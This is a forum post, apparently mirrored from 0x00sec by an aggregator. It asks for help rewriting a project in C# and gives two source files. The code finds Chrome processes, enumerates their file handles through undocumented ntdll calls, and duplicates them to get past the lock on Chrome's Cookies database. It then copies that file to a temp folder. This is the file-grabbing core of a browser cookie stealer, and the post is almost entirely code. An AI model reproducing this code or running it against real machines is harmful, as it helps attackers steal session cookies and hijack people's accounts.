How can I rewrite this project using C#?
2023-12-27 14:5:13 Author: 0x00sec.org(查看原文) 阅读量:6 收藏

program.cs

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading.Tasks;
using static ConsoleApp1.Win32;

namespace ConsoleApp1
{
    class Program
    {
		static string fullPath = @"C:\\Users\\admin\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
		static string destinationPath = @"C:\\Temp\\Cookies";
		static void Main(string[] args)
        {
			
			//Unlock(sourcePath);

			

			ListProcesses();

            try
            {
                CopyFile(fullPath, destinationPath);
                Console.WriteLine("Successful");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"error:{ex.Message}");
            }


        }

		static void ListProcesses()
		{
			Process[] processCollection = Process.GetProcesses();
			foreach (Process p in processCollection)
			{

				if (p.ProcessName == "chrome")
				{
					Console.WriteLine($"ProcessName={p.ProcessName}   ProcessID={p.Id}");

					var hCurrentProcess = Process.GetCurrentProcess().Handle;

					uint targetProcessId = (uint)p.Id;

					
					var hProcess = OpenProcess(OpenProcessDesiredAccess.ProcessDupHandle, false, targetProcessId);
					if (hProcess == IntPtr.Zero)
					{
						throw new UnauthorizedAccessException();  
					}
					var handles = SearchFileHandles(targetProcessId, hProcess, fullPath);  
					foreach (var handle in handles)
					{
						
						DuplicateHandle(hProcess, handle, hCurrentProcess, out var duplicatedHandle, 0, false, 1);
						
						CloseHandle(duplicatedHandle);
					}
					

				}


			}
		}


		static void CopyFile(string sourcePath, string destinationPath)
		{
			
			if (!File.Exists(sourcePath))
			{
				throw new FileNotFoundException("FileNotFound", sourcePath);
			}

			try
			{
				
				File.Copy(sourcePath, destinationPath, true);
			}
			catch (Exception ex)
			{
				
				throw new Exception($"{ex.Message}");
			}
		}


		public static List<IntPtr> SearchFileHandles(uint targetPid, IntPtr hProcess, string fullPath, uint bufSize = 0x8000, uint maxRetry = 8)
		{

			var diskDosName = Marshal.AllocHGlobal(120);
			//if (QueryDosDevice(fullPath[..2], diskDosName, 120) == 0)
			if (QueryDosDevice(fullPath.Substring(0, 2), diskDosName, 120) == 0)
			{
				Marshal.FreeHGlobal(diskDosName);
				throw new Win32Exception();
			}
			var dosPath = Marshal.PtrToStringUni(diskDosName) + fullPath.Substring(0, 2);
			Marshal.FreeHGlobal(diskDosName);
			var currentHandle = Process.GetCurrentProcess().Handle;
			var pHandle = Marshal.AllocHGlobal((int)bufSize);
			var length = 0U;
			for (var i = 0; i < maxRetry; i++)
			{
				if (ZwQuerySystemInformation(SystemInformationClass.SystemExtendedHandleInformation, pHandle, bufSize, ref length) == 0)
				{
					var result = new List<IntPtr>();

					var nInfos = Marshal.ReadInt64(pHandle);
					pHandle += 0x10;

					var objTypeInfo = Marshal.AllocHGlobal(128);
					var objNameInfo = Marshal.AllocHGlobal(1024);
					for (var j = 0; j < nInfos; j++)
					{
						//var ptr = pHandle + Marshal.SizeOf<SystemHandleTableEntryInfoEx>() * j;
						SystemHandleTableEntryInfoEx dummyInstance = new SystemHandleTableEntryInfoEx(); 
						var ptr = pHandle + Marshal.SizeOf(dummyInstance) * j;
						var pid = (uint)Marshal.ReadInt32(ptr + sizeof(ulong));
						if (pid == targetPid)
						{
							var sourceHandle = Marshal.ReadIntPtr(ptr + 2 * sizeof(ulong));
							if (!DuplicateHandle(hProcess, sourceHandle, currentHandle, out var duplicatedHandle, 0, false, 2))
							{
								continue;
							}
							Task.Run(() => {
								if (ZwQueryObject(duplicatedHandle, ObjectInformationClass.ObjectTypeInformation, objTypeInfo, 128, IntPtr.Zero) != 0)
								{
									return;
								}
								
								unsafe
								{
									if (*(short*)objTypeInfo == 0)
									{
										return;
									}
									var typePtr = *(byte**)(objTypeInfo + 8);
									// File ASCII
									if (*typePtr != 70 || *(typePtr + 2) != 105 || *(typePtr + 4) != 108 || *(typePtr + 6) != 101)
									{
										return;
									}
								}
								if (ZwQueryObject(duplicatedHandle, ObjectInformationClass.ObjectNameInformation, objNameInfo, 1024, IntPtr.Zero) != 0)
								{
									return;
								}
								var strLength = Marshal.ReadInt16(objNameInfo);
								if (strLength == 0)
								{
									return;
								}
								var str = Marshal.PtrToStringUni(objNameInfo + 16, strLength / 2);

								if (str == dosPath)
								{
									result.Add(sourceHandle);
								}
								CloseHandle(duplicatedHandle);
							}).Wait(10);
						}
					}

					Marshal.FreeHGlobal(objTypeInfo);
					Marshal.FreeHGlobal(objNameInfo);

					Marshal.FreeHGlobal(pHandle - 0x10);
					return result;
				}
				bufSize = length + 1024;  
				pHandle = Marshal.ReAllocHGlobal(pHandle, new IntPtr(bufSize));
			}
			throw new Win32Exception();
		}




		public static uint[]? GetFileOccupiedPidList(params string[] fullPaths)
		{
			uint[]? pidList = null;

			var res = RmStartSession(out var handle, 0, Guid.NewGuid().ToString());

			if (res != 0)
			{
				throw new Exception("Could not begin restart session. Unable to determine file locker.");
			}

			try
			{
				uint pnProcInfo = 0, rebootReasons = 0;

				res = RmRegisterResources(handle, (uint)fullPaths.Length, fullPaths, 0, null, 0, null);

				if (res != 0)
				{
					throw new Exception("Could not register resource.");
				}

				//Note: there's a race condition here -- the first call to RmGetList() returns
				//      the total number of process. However, when we call RmGetList() again to get
				//      the actual processes this number may have increased.
				res = RmGetList(handle, out var pnProcInfoNeeded, ref pnProcInfo, null, ref rebootReasons);

				if (res == 234)
				{  // ErrorMoreData
				   // Create an array to store the process results
					var processInfo = new RmProcessInfo[pnProcInfoNeeded];
					pnProcInfo = pnProcInfoNeeded;

					// Get the list
					res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref rebootReasons);

					if (res == 0)
					{
						pidList = new uint[pnProcInfo];

						// Enumerate all of the results and add them to the 
						// list to be returned
						for (var i = 0; i < pnProcInfo; i++)
						{
							pidList[i] = processInfo[i].Process.dwProcessId;
						}
					}
					else
					{
						throw new Exception("Could not list processes locking resource.");
					}
				}
				else if (res != 0)
				{
					throw new Exception("Could not list processes locking resource. Failed to get size of result.");
				}
			}
			finally
			{
				RmEndSession(handle);
			}

			return pidList;
		}

		public static void Unlock(string fullPath)
		{
			
			var pidList = GetFileOccupiedPidList(fullPath);
			if (pidList == null)
			{
				return;
			}
			var hCurrentProcess = Process.GetCurrentProcess().Handle;
			foreach (var pid in pidList)
			{
				
				var hProcess = OpenProcess(OpenProcessDesiredAccess.ProcessDupHandle, false, pid);
				if (hProcess == IntPtr.Zero)
				{
					throw new UnauthorizedAccessException();  
				}
				var handles = SearchFileHandles(pid, hProcess, fullPath);  
				foreach (var handle in handles)
				{
					
					DuplicateHandle(hProcess, handle, hCurrentProcess, out var duplicatedHandle, 0, false, 1);
					
					CloseHandle(duplicatedHandle);
				}
			}
		}
	}
}

win32.cs

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp1
{
	public static class Win32
	{
		private const string Gdi32 = "gdi32.dll";
		private const string User32 = "user32.dll";
		private const string Kernel32 = "kernel32.dll";

		private const string Ntdll = "ntdll.dll";
		private const string Dwmapi = "dwmapi.dll";
		private const string Rstrtmgr = "rstrtmgr.dll";



		[DllImport(Rstrtmgr, CharSet = CharSet.Unicode)]
		public static extern int RmRegisterResources(uint pSessionHandle, uint nFiles, string[] rgsFilenames, uint nApplications, [In] RmUniqueProcess[]? rgApplications, uint nServices, string[]? rgsServiceNames);

		[DllImport(Rstrtmgr, CharSet = CharSet.Auto)]
		public static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);

		[DllImport(Rstrtmgr)]
		public static extern int RmEndSession(uint pSessionHandle);

		[DllImport(Rstrtmgr)]
		public static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RmProcessInfo[]? rgAffectedApps, ref uint lpdwRebootReasons);

		[DllImport(Ntdll)]
		public static extern uint NtQueryInformationProcess(IntPtr ProcessHandle, uint ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationLength, out uint ReturnLength);

		[DllImport(Kernel32)]
		public static extern IntPtr OpenProcess(OpenProcessDesiredAccess dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);

		[DllImport(Kernel32)]
		public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesRead);


		/// <summary>
		/// https://docs.microsoft.com/en-us/windows/win32/sysinfo/zwquerysysteminformation
		/// </summary>
		/// <param name="SystemInformationClass"></param>
		/// <param name="SystemInformation"></param>
		/// <param name="SystemInformationLength"></param>
		/// <param name="ReturnLength"></param>
		/// <returns></returns>
		[DllImport(Ntdll)]
		public static extern uint ZwQuerySystemInformation(SystemInformationClass SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);


		[DllImport(Ntdll)]
		public static extern uint ZwQueryObject(IntPtr Handle, ObjectInformationClass ObjectInformationClass, IntPtr ObjectInformation, uint ObjectInformationLength, IntPtr ReturnLength);

		[DllImport(Kernel32, SetLastError = true)]
		public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions);

		[DllImport(Kernel32, CharSet = CharSet.Unicode)]
		public static extern uint QueryDosDevice(string deviceName, IntPtr targetPath, uint chMax);

		[DllImport(Kernel32)]
		[return: MarshalAs(UnmanagedType.Bool)]
		public static extern bool CloseHandle(IntPtr handle);

		[StructLayout(LayoutKind.Sequential)]
		public struct RmUniqueProcess
		{
			public uint dwProcessId;
			public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
		}

		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
		public struct RmProcessInfo
		{
			public RmUniqueProcess Process;

			[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
			public string strAppName;

			[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
			public string strServiceShortName;

			public RmAppType ApplicationType;
			public uint AppStatus;
			public uint TSSessionId;
			[MarshalAs(UnmanagedType.Bool)]
			public bool bRestartable;
		}

		[StructLayout(LayoutKind.Sequential)]
		public struct SystemHandleTableEntryInfoEx
		{
			public ulong Object;

			public ulong UniqueProcessId;
	
			public ulong HandleValue;
			public uint GrantedAccess;
			public ushort CreatorBackTraceIndex;
			public ushort ObjectTypeIndex;
			public uint HandleAttributes;
			public uint Reserved;
		}
		public enum RmAppType
		{
			RmUnknownApp = 0,
			RmMainWindow = 1,
			RmOtherWindow = 2,
			RmService = 3,
			RmExplorer = 4,
			RmConsole = 5,
			RmCritical = 1000
		}




		[Flags]
		public enum OpenProcessDesiredAccess : uint
		{
			VmRead = 0x0010,
			ProcessDupHandle = 0x0040,
			QueryInformation = 0x0400,
			QueryLimitedInformation = 0x1000
		}

		public enum ObjectInformationClass
		{
			ObjectBasicInformation,
			ObjectNameInformation,
			ObjectTypeInformation
		}


		public enum SystemInformationClass
		{
			SystemExtendedHandleInformation = 64
		}

	}
}


文章来源: https://0x00sec.org/t/how-can-i-rewrite-this-project-using-c/38510
如有侵权请联系:admin#unsafe.sh